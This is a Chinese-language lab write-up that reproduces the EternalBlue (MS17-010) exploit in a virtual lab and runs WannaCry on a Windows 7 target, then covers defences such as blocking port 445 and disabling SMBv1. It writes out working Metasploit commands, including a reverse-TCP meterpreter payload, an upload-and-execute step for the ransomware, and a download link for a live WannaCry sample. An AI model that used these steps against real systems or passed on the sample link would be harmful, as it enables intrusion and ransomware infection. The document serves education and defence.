攻击原理

永恒之蓝

永恒之蓝是一个利用Windows系统中Server Message Block (SMB) 协议的漏洞(MS17-010)进行攻击的高级漏洞利用工具。该漏洞允许攻击者在未授权的情况下远程执行代码,是由美国国家安全局(NSA)开发,并在2017年4月被黑客组织“影子经纪人”(Shadow Brokers)泄露。

永恒之蓝通过发送特制的数据包到目标计算机的445端口(SMB服务),利用SMB v1协议的缺陷,远程执行攻击者指定的代码。由于SMB服务在许多Windows系统中默认启用且常开放于网络,这使得永恒之蓝成为一个非常有效的网络渗透工具。

在漏洞被发现时,以下Windows系统版本被认为是易受攻击的:

  • Windows Vista
  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows 10
  • Windows Server 2008, 2008 R2
  • Windows Server 2012, 2012 R2
  • Windows Server 2016

不过,只要上述系统及时安装了微软发布的安全补丁(KB4013389),就可以抵御”永恒之蓝”攻击。

WannaCry

WannaCry是一种勒索软件,于2017年5月对全球范围内的计算机发起了广泛的攻击。它主要通过永恒之蓝漏洞传播,一旦感染,就会加密计算机上的文件,并要求受害者支付比特币赎金以获取解密密钥。

WannaCry勒索软件结合了网络蠕虫功能,使其能够自动在网络上搜索存在MS17-010漏洞的计算机,并利用该漏洞传播和执行。它首先尝试连接到一个特定的域名,如果连接失败,意味着系统尚未感染,随后便开始加密过程,并显示赎金要求。

环境准备

WIn7虚拟机(靶机)

关闭防火墙

进入控制面板,点击系统和安全

点击Windows防火墙

点击左侧的打开或关闭Windows防火墙

选择关闭防火墙

成功关闭后显示如下

准备各类型文件

为了测试出WannaCry的攻击效果,我们可以在Windows 7上准备一些文档资料,文档后缀类型包括txt、doc(x)、ppt(x)、tex、xls (x)、c、pdf、py、zip、rar、jp (e) g、mp3和avi等等,文件内容使用单词或者数字等进行填充,且生成不同的文件大小。为了模拟真实环境,文件路径可以在分析环境中设置一些真实用户使用的目录名称,例如在“我的文档”路径下创建文档文件,且用户文件的路径长度也是不确定的,每个文件夹可能包含一组子文件夹。

安装PCHunter

百度一下就能找到资源

kali虚拟机(攻击机)

准备病毒样本

使用kali自带的火绒浏览器访问wannacry样本的下载地址

https://github.com/limiteci/WannaCry

WannaCry的可执行文件形式无法在kali上直接运行,所以直接解压出来放在桌面即可

信息搜集

端口扫描

在攻击机上使用nmap扫描工具对靶机进行端口扫描,验证靶机是否开启了445端口

执行指令nmap -sT ip

观察结果可知,win7靶机的445端口有开启

漏洞扫描

既然确认了靶机的445端口有开启,那么该靶机就有可能存在MS17-010漏洞,如果它没有安装相应安全补丁

我们可以利用命令nmap -p- -sV --version-all --script vuln ip扫描靶机存在的漏洞

我来解释一下使用的参数和选项:

  • -p-:指定扫描所有65535个TCP端口。默认情况下,nmap只扫描常见的端口,此选项使其扫描全部端口。
  • -sV:启用服务版本探测。这个选项会尝试确定每个开放端口上运行的服务的名称和版本。
  • --version-all:这是-sV选项的一个参数,指示nmap使用所有可能的探测尝试来确定服务版本。这可以提高识别服务的准确性,但会增加扫描时间。
  • --script vuln:指示nmap执行其脚本库(NSE:Nmap Scripting Engine)中与“vuln”相关的所有脚本。这些脚本旨在发现目标可能存在的各种已知漏洞。

成功扫出MS17-010漏洞,说明靶机具备WannaCry感染条件

漏洞利用

本次实验需要用到kali中的工具msfconsole

  • Metasploit Framework 是一个渗透测试和安全漏洞研究工具,包含了大量的利用代码、辅助模块、有效载荷和监听器。它可以用来发现系统漏洞、测试网络的安全防护措施、执行后渗透活动等。
  • msfconsole 是Metasploit Framework中的主要交互式接口。它提供了丰富的命令集和完整的控制环境,用于搜索、测试、执行漏洞利用和管理有效载荷。

执行msfconsole命令打开msf的交互接口

在交互窗口中执行命令use exploit/windows/smb/ms17_010_eternalblue,利用永恒之蓝MS17-010漏洞

此时提示信息中有exploit(windows/smb/ms17_010_eternalblue)的字样

此时我们需要先设置靶机IP和攻击机IP

lhost为攻击机IP,而rhost则是靶机IP

执行set payload windows/x64/meterpreter/reverse_tcp命令,使用meterpreter编写的TCP反弹连接木马,用于在渗透成功后向攻击机发起连接请求进一步控制靶机的模块

渗透及远程命令执行

在开始渗透前可以打开wireshark捕获数据包,来观察渗透过程

执行exploit开始渗透

显示WIN则说明渗透成功

使用ip.dst==172.29.65.64 && tcp.port==445筛选出向靶机445端口发送payload的数据包

我们可以观察到明显的payload特征,即连续的字符A

接下来我们开始远程命令执行,首先将攻击机上的Wannacry病毒样本传到靶机上

执行upload /home/kali/Desktop/WannaCry.EXE C:\\WannaCry.exe

在上传命令中我们顺便将后缀改为可执行文件的exe

此时我们可以打开靶机的C盘验证文件是否上传成功

再次筛选捕获到的数据包

可以发现攻击机通过靶机的49163端口使用tcp包上传了病毒样本

执行命令execute -f C:\\WannaCry.exe,让靶机远程运行勒索病毒样本

攻击机显示勒索病毒在靶机上的进程号为2832

病毒分析

病毒特征

进入靶机查看,发现桌面壁纸被更改,且跳出打款弹窗

查看之前准备的各类型文档,可以发现后缀名后都被加上了.WNCRY

每个目录下还出现了readme文档和解密程序

用记事本打开文件,可以发现文件内容也被加密

不过部分病毒没有识别出类型的文档,例如docx没有被加密

虽然该文件之前是因为粗心将docx打成了docs,但这也说明WannaCry病毒不会加密识别不出类型的文档

网络分析

在靶机命令行执行netstat查看网络连接状态,可以找到和攻击机之间的连接,以及靶机被占用的455

观察启动项

在搜索栏输入msconfig,找到对应程序并执行

点击启动栏,发现可疑的启动项

防御措施

关闭端口

将Window7的快照回退到攻击前

检查防火墙是否开启,若关闭则开启防火墙

点击左侧的高级设置,然后点击入站规则

点击操作菜单中的新建规则…

在规则类型中选择“端口”,点击“下一步”

选择TCP,并在特定本地端口中输入445,然后点击下一步。

选择“阻止连接”,点击“下一步”。

选择适用的配置文件(通常选择全部),然后点击“下一步”。

给规则命名“Block TCP 445”,点击“完成”。

此时端口445就被我们禁用了

禁用SMBv1协议

关闭445端口可能会影响网络文件和打印机共享的功能,我们也可以通过禁用SMBv1来防御WannaCry

WannaCry和其他一些恶意软件是通过利用SMBv1中的漏洞来传播

首先在桌面按下“win+R”打开“运行”窗口,输入“regedit”并点击“确定”打开注册表;

进入注册表编辑器窗口后,在左侧依次展开“HKEYLOCALMACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters”;

在“Parameters”项右键,在弹出的菜单中选择“新建—DWORD(32位)值”,将其命名为“SMB1”即可。

验证防御效果

再次使用kali攻击机重复渗透的步骤,发现执行exploit后漏洞利用失败